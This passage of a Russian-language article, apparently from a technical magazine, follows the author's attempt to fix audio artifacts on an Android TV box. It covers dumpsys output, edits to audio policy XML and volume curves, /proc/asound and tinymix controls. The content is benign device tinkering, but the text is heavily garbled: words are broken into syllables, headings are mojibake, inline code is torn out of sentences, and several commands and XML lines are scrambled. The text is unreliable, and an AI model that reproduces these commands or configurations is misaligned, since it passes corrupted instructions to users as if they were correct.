По это му име ни на устрой ство ссы лают ся в дру гих мес тах кон фига. Нап -
ример, при перечис лении ауди оус трой ств, которые встро ены в прис тавку (в
про тиво полож ность устрой ствам, которые могут под клю чать ся пери оди чес -
ки):

AUDIO_DEVICE_OUT_SPEAKER

<attachedDevices>
    <item>Speaker</item>
</attachedDevices>

ÓÐÎÂÅÍÜ ÀÓÄÈÎÑÅÐÂÅÐÀ

Ñáîð èíôîðìàöèè î ñëóæáàõ
Ана лизи ровать работу зву ковой под систе мы Android на уров не ауди осер вера
помога ет информа ция о сос тоянии служб, которую выводит коман да
dumpsys. В нашем слу чае полез ны два вари анта этой коман ды:

dumpsys media.audio_policy
dumpsys media.audio_flinger

Пер вая коман да рас ска зыва ет о том, как были интер пре тиро ваны нас трой ки
из . В час тнос ти, какой имен но кон фиг

исполь зует ся:

audio_policy_configuration.xml

Config source: /vendor/etc/audio_policy_configuration.xml

Да лее dumpsys в понят ной фор ме отоб ража ет пра вила, взя тые из кон фига.
Нап ример, све дения об устрой ствах и при ори тет ном канале вос про изве -
дения зву ка опи сыва ются так:

<modules>
      <module name="primary" halVersion="2.0">
        <attachedDevices>
            <item>Speaker</item>
            ...
        </attachedDevices>
        <defaultOutputDevice>Speaker</defaultOutputDevice>
        <mixPorts>

               <mixPort name="primary output" role="source" flags=
"AUDIO_OUTPUT_FLAG_PRIMARY">

                  <profile name="" format="AUDIO_FORMAT_PCM_16_BIT"
                     samplingRates="48000" channelMasks=

"AUDIO_CHANNEL_OUT_STEREO"/>
                    </mixPort>
                    ...
                </mixPorts>
                <devicePorts>

  
 

            <devicePort tagName="Speaker" type=
"AUDIO_DEVICE_OUT_SPEAKER" role="sink"></devicePort>

  
 

            <devicePort tagName="HDMI Out" type=
"AUDIO_DEVICE_OUT_AUX_DIGITAL" role="sink"></devicePort>
            ...
                </devicePorts>
                <routes>

               <route type="mix" sink="Speaker" sources="primary output"
/>

               <route type="mix" sink="HDMI Out" sources="primary 
output"/>
            ...
                </routes>
    </module>
</modules>

А вот рас шифров ка:

- Available output devices:
  Device 1:
  - id:  2
  - tag name: Speaker
  - type: AUDIO_DEVICE_OUT_SPEAKER
  - Profiles:
      Profile 0:[dynamic format][dynamic channels][dynamic rates]
...
HW Modules dump:
- HW Module 1:
  - name: primary
  - handle: 10
  - version: 2.0
  - outputs:
    output 0:
    - name: primary output
    - Profiles:
        Profile 0:
            - format: AUDIO_FORMAT_PCM_16_BIT
            - sampling rates:48000
            - channel masks:0x0003
    - flags: 0x0002 (AUDIO_OUTPUT_FLAG_PRIMARY)
    - Supported devices:
      Device 1:
      - id:  2
      - tag name: Speaker
      - type: AUDIO_DEVICE_OUT_SPEAKER
      ...
      Device 7:
      - tag name: HDMI Out
      - type: AUDIO_DEVICE_OUT_AUX_DIGITAL|AUDIO_DEVICE_OUT_HDMI

Пор ты мик шера mixPort опи сыва ют раз ные тех нологии обра бот ки зву ковых
дан ных, которые опре деля ются ком бинаци ей зна чений в атри буте .

Нап ример, в нас трой ках обя затель но дол жен при сутс тво вать единс твен ный
при ори тет ный порт мик шера с фла гом . Дру гие
вари анты пор тов:  — исполь зование «глу -

боко го» буфера для ауди опо токов, допус кающих задер жку вос про изве дения,
 — нап равле ние дан ных непос редс твен но

на устрой ство вос про изве дения,  —
обра бот ка упа кован ных дан ных (MP3, AAC и дру гих) с помощью аппа рат ного
декоде ра.

flags

AUDIO_OUTPUT_FLAG_PRIMARY
AUDIO_OUTPUT_FLAG_DEEP_BUFFER

AUDIO_OUTPUT_FLAG_DIRECT
AUDIO_OUTPUT_FLAG_COMPRESS_OFFLOAD

Свя зи пор тов мик шера с устрой ства ми вос про изве дения зву ка опи сыва -
ются в сек ции мар шру тов . Для каж дого устрой ства-при емни ка sink

может быть ука зано через запятую нес коль ко пор тов — источни ков зву ка
sources.

<routes>

Ес ли тип  мар шру та ука зан как , то активны ми могут быть одновре -
мен но нес коль ко из перечис ленных пор тов, а если , то толь ко один порт

из спис ка. В любом слу чае выбор источни ков опре деля ется ауди осер вером
в зависи мос ти от зап роса при ложе ния.

type mix
mux

Для устрой ств вос про изве дения зву ка  и пор тов мик шера

 могут быть ука заны про фили , информи рующие ауди осер -

вер о спо соб ности устрой ств вос при нимать ауди одан ные. Про фили харак -
теризу ются:

devicePort
mixPort profile

фор матом , нап ример ,
, ;

• format AUDIO_FORMAT_PCM_16_BIT
AUDIO_FORMAT_PCM_FLOAT AUDIO_FORMAT_DTS_HD
час тотой дис кре тиза ции , нап ример 32 000, 44 100,
4 8000 Гц;

• samplingRates

ко личес твом каналов , нап ример
, ,

.

• channelMasks
AUDIO_CHANNEL_OUT_MONO AUDIO_CHANNEL_OUT_STEREO
AUDIO_CHANNEL_OUT_5POINT1

Ха рак терис тики про филя мож но перечис лить через запятую или, если допус -
кают ся любые воз можные зна чения, вмес то них мож но ука зать .dynamic

В исходни ках Android 10 мож но най ти опре деле -
ния перечис ленных выше и дру гих воз можных
кон стант — в фай ле 

. Там же есть обра зец кон фига, где показа -
но исполь зование рас ширен ного набора этих
кон стант, — .

audio/include/system/audio-
base.h

audio_policy_conguration.xml

Ес ли коман да  выпол нена в то вре мя, ког да

устрой ство про игры вало звук, то в бло ке Outputs dump мож но уви деть некото -
рые све дения об активных ауди опо токах. Одна ко гораз до боль ше информа -
ции о вос про изво дящем ся зву ке пре дос тавля ет коман да 

:

dumpsys media.audio_policy

dumpsys media.
audio_flinger

Output thread 0xea794240, name AudioOut_D, tid 2032, type 0 (MIXER):
  I/O handle: 13
  Standby: no
  Sample rate: 44100 Hz
  HAL frame count: 960
  HAL format: 0x1 (AUDIO_FORMAT_PCM_16_BIT)
  HAL buffer size: 3840 bytes
  Channel count: 2
  Channel mask: 0x00000003 (front-left, front-right)
  Processing format: 0x1 (AUDIO_FORMAT_PCM_16_BIT)
  Processing frame size: 4 bytes
  Pending config events: none
  Output device: 0x2 (AUDIO_DEVICE_OUT_SPEAKER)
  Input device: 0 (AUDIO_DEVICE_NONE)
  Audio source: 0 (AUDIO_SOURCE_DEFAULT)
  ...
  AudioStreamOut: 0xea727d48 flags 0x2 (AUDIO_OUTPUT_FLAG_PRIMARY)
  ...
  1 Tracks of which 1 are active
    Type     Id Active Client Session Port Id S  Flags   Format Chn 
mask  SRate ST Usg CT  G db  L dB  R dB  VS dB   Server FrmCnt  
FrmRdy F Underruns  Flushed   Latency
             65    yes  12662      57      17 A  0x000 00000001 
00000001  32000  3   1  3     0     0     0     0  000381F5   8000   
 8000 A

В начале сек ции Output thread сооб щает ся о фор мате ауди одан ных, нап -
равля емых на устрой ство вос про изве дения Output device
( ): , сте рео

( ), с час тотой дис кре тиза ции 44 100 Гц (

). А вос про изво димый поток закоди рован в PCM16 ( ),
моно ( ), с час тотой дис кре тиза ции 32 000 Гц ( ).

AUDIO_DEVICE_OUT_SPEAKER PCM16 (AUDIO_FORMAT_PCM_16BIT)
channel count: 2 Sample rate:
44100 Hz Format 01

Chn mask 01 SRate 32000
В выводе коман ды  мно го све дений о раз -

ных парамет рах ауди осис темы. Не все они инту итив но понят ны, и мне
не попада лась докумен тация с их под робным опи сани ем. Пос коль ку за фор -
мирова ние всей этой информа ции отве чают методы 

, которые опре деле ны в фай ле исходных тек стов

Android 10 , имен но к нему сле дует обра -
щать ся за необ ходимы ми разъ ясне ниями. В коде и соп роводи тель ных ком -
мента риях, помимо отве тов на воз ника ющие воп росы, мож но най ти мас су
информа ции для раз мышле ния. Чего сто ят одни лишь бло ки FIXME!

dumpsys media.audio_flinger

AudioFlinger::
ThreadBase::dump...

/services/audioinger/Threads.cpp

Ïåðåêëþ÷åíèå ñ êîëîíîê íà öèôðîâîé âûõîä
Пер вое, что я сде лал, — это убрал из кон фига упо мина ния о встро енном мик -
рофоне. Его в прис тавке нет, но, воз можно, попыт ка его как-то акти виро вать
или исполь зовать при водит к шумам.

   
 

<devicePort tagName="Built-In Mic" type="AUDIO_DEVICE_IN_BUILTIN_MIC"
role="source" />

Это не помог ло. Далее, ана лизи руя информа цию о служ бе Audio Flinger, я
заметил такую законо мер ность: что бы ни вос про изво дилось — фай лы
из ауди окол лекции, потоки интернет-радио или онлайн телеви дения, —
на устрой ство вос про изве дения Output device дан ные всег да переда ются
в одном и том же фор мате: PCM16, сте рео, 44 100 Гц. Само по себе это не
пло хо, но, может быть, при чиной арте фак тов в зву ке ста новит ся переко -
диров ка? Вызыва ет недо уме ние и тот факт, что в фай ле

 при сутс тву ют про фили толь ко с час тотой
дис кре тиза ции 48 000 Гц. Я поп робовал вез де испра вить 48 000 на 44 100,
но это тоже не ока зало никако го эффекта.

audio_policy_configuration.xml

Сле дующий воп рос, который у меня воз ник: а почему в качес тве устрой -
ства вос про изве дения исполь зует ся ? Ведь
никаких колонок непос редс твен но к прис тавке не под клю чено. В то же вре мя
в переч не устрой ств  есть HDMI Out, которо му соот ветс тву ет

, или, что то же самое,
, — гораз до луч ше отра жающее дей стви тель ность.

Поэто му я добавил запись  в сек цию  и перезаг -

рузил прис тавку. Звук про пал сов сем. Лишь при ложив ухо к динами ку телеви -
зора, мож но было услы шать тихий шепот.

AUDIO_DEVICE_OUT_SPEAKER

<devicePorts>
AUDIO_DEVICE_OUT_AUX_DIGITAL
AUDIO_DEVICE_OUT_HDMI

HDMI Out <attachedDevices>

Ко ман да  показа ла, что звук теперь нап -

равля ется на устрой ство . Прек расная

новость!

dumpsys media.audio_flinger
AUDIO_DEVICE_OUT_AUX_DIGITAL

Output thread 0xeba93640, name AudioOut_D, tid 2068, type 0 (MIXER):
  ...
  Output device: 0x400 (AUDIO_DEVICE_OUT_AUX_DIGITAL|AUDIO_DEVICE_
OUT_HDMI)
  ...
  1 Tracks of which 1 are active
    Type     Id Active Client Session Port Id S  Flags   Format Chn 
mask  SRate ST Usg CT  G db  L dB  R dB  VS dB   Server FrmCnt  
FrmRdy F Underruns  Flushed   Latency
             55    yes   5309      17       7 A  0x000 00000005 
00000003  44100  3   1  3   -40     0     0     0  00389A00   3848   
 2888 A         0        0   unavail

Но вни матель ный ана лиз стро ки о вос про изво димом потоке поз волил уста -
новить, что уро вень зву ка G (от англ. Gain) сос тавля ет –40 дБ, а не 0, как было
рань ше. И на кноп ки регули ров ки гром кости пуль та дис танци онно го управле -
ния прис тавка перес тала реаги ровать. Что ж, поп робу ем с этим разоб рать ся.

Де цибел (дБ) — это чис ловая величи на, рав ная
десяти (деци) десятич ным логариф мам отно -
шения двух срав нива емых величин (бел): G =
10lg(P2/P1). В ауди отех нике P1 и P2 — это мощ -
ности вход ного и выход ного сиг нала соот ветс -
твен но.

Уро вень циф ровых сиг налов при нято ука зывать
в децибе лах отно ситель но пол ной шка лы dBFS
(deciBels relative to Full Scale), ког да изме ряет ся
отно шение A/A , где A — ампли туда оце нива -

емо го сиг нала, а A  — мак сималь но воз можная

ампли туда. Мощ ность про пор циональ на квад рату
ампли туды, поэто му G = 20lg(A/ ). В таком

слу чае 0 дБ соот ветс тву ет A = A , а все осталь -

ные воз можные уров ни сиг нала A опи сыва ются
отри цатель ными зна чени ями, пос коль ку отно -
шение A/A  < 1. Так, –40 дБ соот ветс тву ет сиг -

налу, ампли туда которо го в 10  = 100 раз мень ше
мак сималь ной.

max

max

Amax

max

max

2

Íàñòðîéêà óðîâíÿ ãðîìêîñòè
В кон це кон фига  есть груп па строк, обоз -

начен ная как «Сек ция гром кости»:

audio_policy_configuration.xml

<!-- Volume section -->
 <xi:include href="audio_policy_volumes_drc.xml"/>
 <xi:include href="default_volume_tables.xml"/>

Продолжение статьи →
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ПОГРУЖАЕМСЯ В НЕДРА ОС,
ЧТОБЫ НАЙТИ И УСТРАНИТЬ БАГ

COVERSTORY  НАЧАЛО СТАТЬИ

Она при зыва ет обра тить вни мание на два под клю чаемых фай ла:
 и .audio_policy_volumes_drc.xml default_volume_tables.xml

В фай ле  лежат опи сания тра екто рий

регули ров ки гром кости ( ) для раз ных катего рий устрой ств
( ) при вос про изве дении раз ных ауди опо токов ( ). Нап -

ример, кри вая изме нения зву ка для динами ков 

при вос про изве дении музыки  опи сыва ется четырь мя
лежащи ми на ней точ ками ( ):

audio_policy_volumes_drc.xml
volume

deviceCategory stream
DEVICE_CATEGORY_SPEAKER

AUDIO_STREAM_MUSIC
<point>

  <volume stream="AUDIO_STREAM_MUSIC" deviceCategory=
"DEVICE_CATEGORY_SPEAKER">
    <point>1,-2400</point>
    <point>33,-1200</point>
    <point>66,-600</point>
    100,0<point> </point>
</volume>

Каж дая точ ка пред став лена дву мя зна чени ями: уров нем гром кости по шка ле
про цен тов (от 0 до 100) и соот ветс тву ющей ему сте пенью ослабле ния сиг -
нала в мил либелах — сотых долях децибе лов.

С устрой ством  все более-менее понят но. Но никаких зацепок

для  или  в фай ле не вид но. Обра тим ся к исходным тек стам

Android 10. В фай ле  опре делен класс
, в котором есть метод, сопос тавля ющий иден тифика торы устрой ств

с их катего риями:

SPEAKER
AUX_DIGITAL HDMI

audiopolicy/common/include/Volume.h
Volume

   static device_category getDeviceCategory(audio_devices_t device)
{
     switch(getDeviceForVolume(device)) {
    ...

         case AUDIO_DEVICE_OUT_LINE:
         case AUDIO_DEVICE_OUT_AUX_DIGITAL:
         case AUDIO_DEVICE_OUT_USB_DEVICE:

             return DEVICE_CATEGORY_EXT_MEDIA;
        ...
        default:

             return DEVICE_CATEGORY_SPEAKER;
        }
}

Ока зыва ется, устрой ство  (оно же )
отно сит ся к катего рии .

AUDIO_DEVICE_OUT_AUX_DIGITAL HDMI
DEVICE_CATEGORY_EXT_MEDIA

Воз вра щаем ся к фай лу  и видим, что все

теги  для инте ресу ющей нас катего рии вмес то таб лиц с точ ками кри -
вой гром кости содер жат ссыл ки на них в атри буте :

audio_policy_volumes_drc.xml
volume

ref

  <volume stream="AUDIO_STREAM_MUSIC" deviceCategory=
"DEVICE_CATEGORY_EXT_MEDIA"
    ref="DEFAULT_MEDIA_VOLUME_CURVE"/>

Са ми же таб лицы находят ся в фай ле :default_volume_tables.xml

 <reference name="DEFAULT_MEDIA_VOLUME_CURVE">
<!-- Default Media reference Volume Curve -->
    <point>1,-5800</point>
    <point>20,-4000</point>
    <point>60,-1700</point>
    100,0<point> </point>
</reference>

А почему уро вень зву ка для вос про изво димо го потока сос тавля ет имен но –
40 дБ? Узна ем, какой уро вень гром кости уста нов лен на прис тавке:

 3 media volume --stream --get

[v] will control stream=3 (STREAM_MUSIC)
[v] will get volume
[v] Connecting to AudioService
[v] volume is 3 in range [0..15]

Ес ли отоб разить зна чение 3 из шка лы уров ней гром кости 0...15 на шка лу про -
цен тов, то получим 3 / 15 × 100 = 20, что попада ет пря мо на вто рую строч ку
таб лицы точек кри вой гром кости и соот ветс тву ет зна чению –4000 мБ = –
40 дБ.

Кри вая гром кости DEFAULT_MEDIA_VOLUME_CURVE

Из менить уста нов ленный уро вень гром кости ни через интерфейс Android,
ни из коман дной стро ки мне не уда лось. Поэто му я прос то в фай ле

 для всех тегов с катего рией устрой ства

 про писал ссыл ку на таб лицу

, которая без вари антов зада ет мак сималь ный
уро вень гром кости:

audio_policy_volumes_drc.xml
DEVICE_CATEGORY_EXT_MEDIA
FULL_SCALE_VOLUME_CURVE

 <reference name="FULL_SCALE_VOLUME_CURVE">
<!-- Full Scale reference Volume Curve -->
    0,0<point> </point>
    100,0<point> </point>
</reference>

Пос ле перезаг рузки звук в режиме  появил ся, но его

качес тво не ста ло луч ше. Зато теперь регули ровать гром кость мож но толь ко
на телеви зоре, не тро гая прис тавку, и это здо рово.

AUX_DIGITAL/HDMI

ÓÐÎÂÅÍÜ ALSA

Èçó÷åíèå äîêóìåíòàöèè
Нес мотря на опре делен ный прог ресс в нас трой ке прис тавки, на уров не ауди -
осер вера решить проб лему с пот рески вани ем мне не уда лось. Тог да я решил
пог рузить ся на самое дно и пос мотреть, как выг лядит ситу ация с точ ки зре ния
ALSA. К сожале нию, в откры том дос тупе спе цифи кации чипа Allwinner
H313 не наш лось. Про изво дитель огра ничил ся выпус ком бро шюры,
из которой мож но узнать, что в зву ковой под систе ме это го чипа име ются:

Audio Codec c дву мя канала ми DAC (ЦАП) и одним ауди овы ходом;•
DMIC — циф ровой мик рофон;•
OWA OUT — однопро вод ная шина для переда чи ауди одан ных;•
Audio HUB — зву ковой кон цен тра тор, под держи вающий три канала
I2S/PCM.

•

Не гус то. Но ана логич ная бро шюра об изде лии Allwinner H616 выг лядит
как брат-близ нец, и отли чия обна ружи вают ся толь ко в харак терис тиках виде -
опод систе мы. А спе цифи кацию на этот чип най ти ока залось про ще. Ее мож -
но, нап ример, заг рузить из раз дела Download по ссыл ке Datasheet офи циаль -
ного сай та Orange Pi Zero2.

Бро шюра по SoC Allwinner H313 ( )• PDF
Бро шюра по Soc Allwinner H616 ( )• PDF

•Стра ница об Orange Pi Zero2

В раз деле «Chapter 8 Audio» это го руководс тва под робней шим обра зом рас -
писаны все эле мен ты зву ковой под систе мы, которая реали зова на в чипе.
На осно ве при веден ной в руководс тве иллюс тра ции я под готовил нем ного
адап тирован ный рисунок одно го из воз можных вари антов ее исполь зования.

Ва риант исполь зования зву ковой под систе мы в режиме кара оке
из руководс тва по Allwinner H616

Здесь изоб ражен интерфейс внут ренней шины APBIF (Advanced Peripheral
Bus InterFace), через три канала DMA TX FIFO которо го сиг нал от циф рового
мик рофона, музыкаль ный трек и сис темные опо веще ния пос тупа ют в зву -
ковой кон цен тра тор AHUB (Audio HUB). Кон цен тра тор нап равля ет ауди опо -
токи в циф ровой ауди омик шер DAM0 (Digital Audio Mixer), где они сме шива -
ются и переда ются через пер вый из трех каналов DMA RX FIFO на шину OWA
(One Wire Audio), а сиг нал от циф рового мик рофона отдель но выводит ся
через вто рой канал. Кро ме того, объ еди нен ный ауди опо ток из мик шера нап -
равля ется на шины I2S0 и I2S1 телеви зион ных выходов CVBS и HDMI.

Èññëåäîâàíèå /proc/asound
Но это все теория, а как исполь зует ся чип H313 в прис тавке X96Q PRO? Зна -
комс тво с реали заци ей под систе мы ALSA я начал с изу чения струк туры
катало гов . Вот как она выг лядит:/proc/asound

/proc/asound/
    card0 <- audiocodec
        pcm0c,pcm0p — SUNXI-CODEC sun50iw9-codec-0
    card1 <- sndspdif
        pcm0c,pcm0p — SUNXI-SPDIF spdif-hifi-0
    card2 <- sndahub
        pcm0c,pcm0p — Media Stream sunxi-ahub-aif1-0
        pcm1c,pcm1p — System Stream sunxi-ahub-aif2-1
        pcm2c,pcm2p — Accompany Stream sunxi-ahub-aif3-2
    card3 <- sndhdmi
        pcm0p — SUNXI-HDMIAUDIO audiohdmi-dai-0
    card4 <- sndaudio0
        pcm0c,pcm0p — SUNXI-AUDIO snd-soc-dummy-dai-0

Ин терес для нас пред став ляют «кар ты» (в тер миноло гии ALSA) 0, 2 и 3,
которые изоб ража ют устрой ства Audio Codec, Audio HUB и выход HDMI соот -
ветс твен но. Катало ги  и  соот ветс тву ют «устрой ствам» (в тер -
миноло гии ALSA) зах вата (capture) и вос про изве дения (playback) зву ка соот -
ветс твен но.

pcmNc pcmNp

Ког да прис тавка вос про изво дит звук, информа ция о сос тоянии активных
устрой ств появ ляет ся в фай лах ,  и  их под катало -
гов. Вот какие устрой ства были задей ство ваны при раз ных нас трой ках зву ка
в Android:

status sw_params hw_params

Íàñ òðîé êà/Óñòðîé ñòâà ALSA

card0/

pcm0

p

card2/

pcm0

p

card3/

pcm0

p

AUDIO_CODEC + AUDIO_HDMI + + +

AUDIO_HDMI – + +

AUDIO_HDMI + Passthrough – + +

В таб лице сим вол «плюс» озна чает, что устрой ство исполь зует ся,
а «минус» — что нет. Кон фигура цию исполь зуемо го устрой ства мож но под -
смот реть в фай ле . В моем слу чае для всех активных устрой ств его

содер жимое было оди нако вым, какие бы вари анты меди адан ных я ни вос про -
изво дил:

hw_params

access: RW_INTERLEAVED
format: S16_LE
subformat: STD
channels: 2
rate: 44100 (44100/1)
period_size: 960
buffer_size: 1920

Для понима ния содер жимого фай лов  надо усво ить некото рые 

.

hw_params тер -

мины ALSA
 (sample) — это дан ные об отдель ном изме рении зву ка, нап ример

откло нении мем бра ны мик рофона или динами ка от рав новес ного сос -
тояния. В режиме PCM16 они пред став лены 16 битами или дву мя бай тами.

• Ñåìïë

 (frame) — это набор сем плов, дос таточ ный для опи сания зву ковой

сис темы в опре делен ный момент вре мени. Сос тояние сте реосис темы
опре деля ется сем пла ми левого и пра вого каналов, в режиме
PCM16 это уже четыре бай та. При час тоте дис кре тиза ции 44 100 Гц ско -
рость потока зву ковых дан ных для сте реосис темы сос тавля ет 44 100 Гц ×
4 бай та = 176 400 байт/с.

• Ôðåéì

 (period) — это пор ция дан ных, которую ALSA заг ружа ет в аппа рат -

ный буфер зву ково го устрой ства. В нашем при мере исполь зует ся пери од
раз мером  960 фрей мов или 3840 байт, которые будут вос -
про изве дены при мер но за 21,8 мс. Раз мер буфера  поз -
воля ет хра нить два пери ода: один вос про изво дит ся, дру гой готовит ся.
Поэто му за 43,6 мс будут сге нери рова ны два аппа рат ных пре рыва ния
для под груз ки дан ных.

• Ïå ðèîä

period_size
buffer_size

Ауди опо ток может пос тупать в раз ных фор матах.  — каж дый

фрейм содер жит сем плы всех каналов (двух для сте реосис темы), а пери од —
это пос ледова тель ность фрей мов.  наруша ет фрей мовую
струк туру: пери од пред став лен сна чала сем пла ми пер вого канала, потом —
вто рого и так далее.

INTERLEAVED

NONINTERLEAVED

Ïðèìåíåíèå óòèëèòû tinymix
Ин форма цию дру гого рода об уров не ALSA мож но получить с помощью ути -
литы tinymix. Нап ример, сле дующие коман ды выводят све дения об «эле мен -
тах управле ния» ком понен тов ALSA и их воз можных зна чени ях:

 0  tinymix -D -a > tinymix_0.txt
 1  tinymix -D -a > tinymix_1.txt

...
 4  tinymix -D -a > tinymix_4.txt

Вот что получи лось в фай ле :tinymix_0.txt

Mixer name: 'audiocodec'
Number of controls: 16
ctl type    num name                                     value
    range/values
0   ENUM    1   codec hub mode                           null >hub_
disable hub_enable
1   INT 1   digital volume                           0 (dsrange 0->
63)
2   INT 1   LINEIN to output mixer gain control      3 (dsrange 0->7)
3   INT 1   FMIN to output mixer gain control        3 (dsrange 0->7)
4   INT 1   LINEOUT volume                           31 (dsrange 0->
31)
5   BOOL    1   LINEOUT Switch                           On
6   BOOL    1   Left Output Mixer DACL Switch            On
7   BOOL    1   Left Output Mixer DACR Switch            Off
8   BOOL    1   Left Output Mixer FMINL Switch           Off
9   BOOL    1   Left Output Mixer LINEINL Switch         Off
10  BOOL    1   Right Output Mixer DACL Switch           Off
11  BOOL    1   Right Output Mixer DACR Switch           On
12  BOOL    1   Right Output Mixer FMINR Switch          Off
13  BOOL    1   Right Output Mixer LINEINR Switch        Off
14  ENUM    1   Left LINEOUT Mux                         >LOMixer 
LROMixer
15  ENUM    1   Right LINEOUT Mux                        >ROMixer 
LROMixer

Здесь перечис лены эле мен ты управле ния кар ты Audio Codec, пред став -
ленные шес тнад цатью перемен ными. Их зна чения мож но изме нять так:

 0  63tinymix -D 'digital volume'
 0  0tinymix -D 'LINEOUT Switch'
 0 tinymix -D 'Left LINEOUT Mux' LROMixer

Для уста нов ки перемен ных типа BOOL надо исполь зовать циф ры 1 (Вкл/On)
или 0 (Откл/Off). Перемен ные типа INT зада ются чис лом из допус тимого
диапа зона , а перемен ные типа  — ука зани ем кон крет ного зна -

чения из набора воз можных.

dsrange ENUM

Я извлек дво ичный файл  из архи ва
. Сам модуль

уста нав ливать не стал, потому что его офор мле -
ние соот ветс тву ет уста рев шим вер сиям Magisk.
Кста ти, коман ду  надо выпол нять с пра -
вами супер поль зовате ля.

tinymix
Tinymix Binary Installer Magisk Module

tinymix

Что бы исклю чить воз можные помехи для вос про изво димо го зву ка, я поп -
робовал умень шить до нуля уро вень сиг налов от линей ного вхо да «LINEIN
to output mixer gain control» и FM-радио «FMIN to output mixer gain control».
Это не пов лияло на качес тво зву ка, так же как и уве личе ние гром кости циф -
рового зву ка (digital volume) не подей ство вало на звук в режиме HDMI.
А отклю чение линей ного выхода LINEOUT Switch при води ло к оста нов ке вос -
про изве дения меди апо тока. Видимо, драй вер информи ровал при ложе ние
меди апро игры вате ля о воз никно вении проб лемы.

Еще боль шее поле для нас тро ек име ет кар та 2 — Audio HUB:

Mixer name: 'sndahub'
Number of controls: 26
ctl type    num name                                     value
    range/values
0   ENUM    1   ahub audio format Function               null >pcm 
AC3 MPEG1 MP3 MPEG2 AAC DTS ATRAC ONE_BIT_AUDIO DOLBY_DIGITAL_PLUS 
DTS_HD MAT WMAPRO
1   BOOL    1   I2S0IN Switch                            Off
2   BOOL    1   I2S0OUT Switch                           Off
3   BOOL    1   I2S1IN Switch                            Off
4   BOOL    1   I2S1OUT Switch                           On
5   BOOL    1   I2S2IN Switch                            Off
6   BOOL    1   I2S2OUT Switch                           On
7   BOOL    1   I2S3IN Switch                            Off
8   BOOL    1   I2S3OUT Switch                           Off
9   BOOL    1   DAM0IN Switch                            Off
10  BOOL    1   DAM1IN Switch                            Off
11  BOOL    1   DAM0OUT Switch                           Off
12  BOOL    1   DAM1OUT Switch                           Off
13  ENUM    1   APBIF0 Src Select                        >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
14  ENUM    1   APBIF1 Src Select                        >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
15  ENUM    1   APBIF2 Src Select                        >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
16  ENUM    1   I2S0 Src Select                          >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
17  ENUM    1   I2S1 Src Select                          NONE >APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
18  ENUM    1   I2S2 Src Select                          NONE APBIF_
TXDIF0 APBIF_TXDIF1 >APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
19  ENUM    1   I2S3 Src Select                          >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
20  ENUM    1   DAM0Chan0 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
21  ENUM    1   DAM0Chan1 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
22  ENUM    1   DAM0Chan2 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
23  ENUM    1   DAM1Chan0 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
24  ENUM    1   DAM1Chan1 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF
25  ENUM    1   DAM1Chan2 Src Select                     >NONE APBIF_
TXDIF0 APBIF_TXDIF1 APBIF_TXDIF2 I2S0_TXDIF I2S1_TXDIF I2S2_TXDIF 
I2S3_TXDIF DAM0_TXDIF DAM1_TXDIF

Óïðàâëåíèå àóäèîêîíöåíòðàòîðîì
Об наружив в наз вани ях перемен ных зна комые по даташи ту аббре виату ры
ауди окон цен тра тора, я решил пос тро ить реаль ную схе му работы ТВ-прис -
тавки. По сос тояниям эле мен тов управле ния вид но, что:

ак тивны ми явля ются выходы I2S1OUT и I2S2OUT;•
ис точни ки дан ных для I2S1 и I2S2 — это каналы 
и  соот ветс твен но.

• APBIF_TXFDIF0
APBIF_TXDIF2

Что бы опре делить наз начения выходов, я поп робовал их отклю чать.

 2  0tinymix -D 'I2S2OUT Switch'

Звук на телеви зоре по-преж нему есть, как и те арте фак ты, на борь бу
с которы ми нап равле ны наши уси лия.

 2  0tinymix -D 'I2S1OUT Switch'

Звук про пал, и вос про изве дение в при ложе нии меди апле ера оста нови лось.
Через нес коль ко секунд звук появил ся сно ва, а сос тояние выхода из Off авто -
мати чес ки перек лючилось на On. Веро ятно, драй вер обна ружил проб лему
и самос тоятель но ее испра вил. Таким обра зом, мож но с боль шой уве рен -
ностью заявить, что выход I2S1 соот ветс тву ет HDMI.

А к чему при вязан I2S2? Может быть, к CVBS? Я поп робовал нап равить
источник  на I2S0:APBIF_TXDIF2

 2 tinymix -D 'I2S1 Src Select' APBIF_TXDIF2

Звук сно ва про пал, как буд то выход отклю чили. Получа ется, что
из  не пос тупа ет никаких ауди одан ных, поэто му как его наз -
